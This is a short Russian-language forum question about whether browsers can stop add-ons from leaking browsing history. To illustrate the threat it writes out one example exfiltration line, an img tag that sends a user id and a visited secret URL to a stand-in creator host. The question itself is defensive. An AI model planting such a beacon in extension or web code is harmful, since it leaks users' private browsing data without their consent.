В принципе, любое дополнение к браузеру может следить за мной, собирая историю браузера, веб-почту или другие конфиденциальные данные. AFAIKS, он может отправить эти данные обратно своему создателю, используя либо XMLHttpRequest()
или fetch()
либо манипулируя DOM, например, добавляя что-то вроде
<img src="http://addon-creators-page.com/?userid=uniqueId#https://sensitive-page.com/secret-link-i-visited"/>
запуск HTTP-запроса на странице создателя дополнения с возможностью отправки любых данных, которые ему нравятся. Однако не все надстройки должны выполнять HTTP-запросы или манипулировать DOM.
Отсюда вопрос:
Существует ли какое-либо существующее решение для некоторых браузеров, которое ограничивает функциональность JavaScript, доступную для надстройки, в частности, для манипулирования DOM и HTTP-запросов?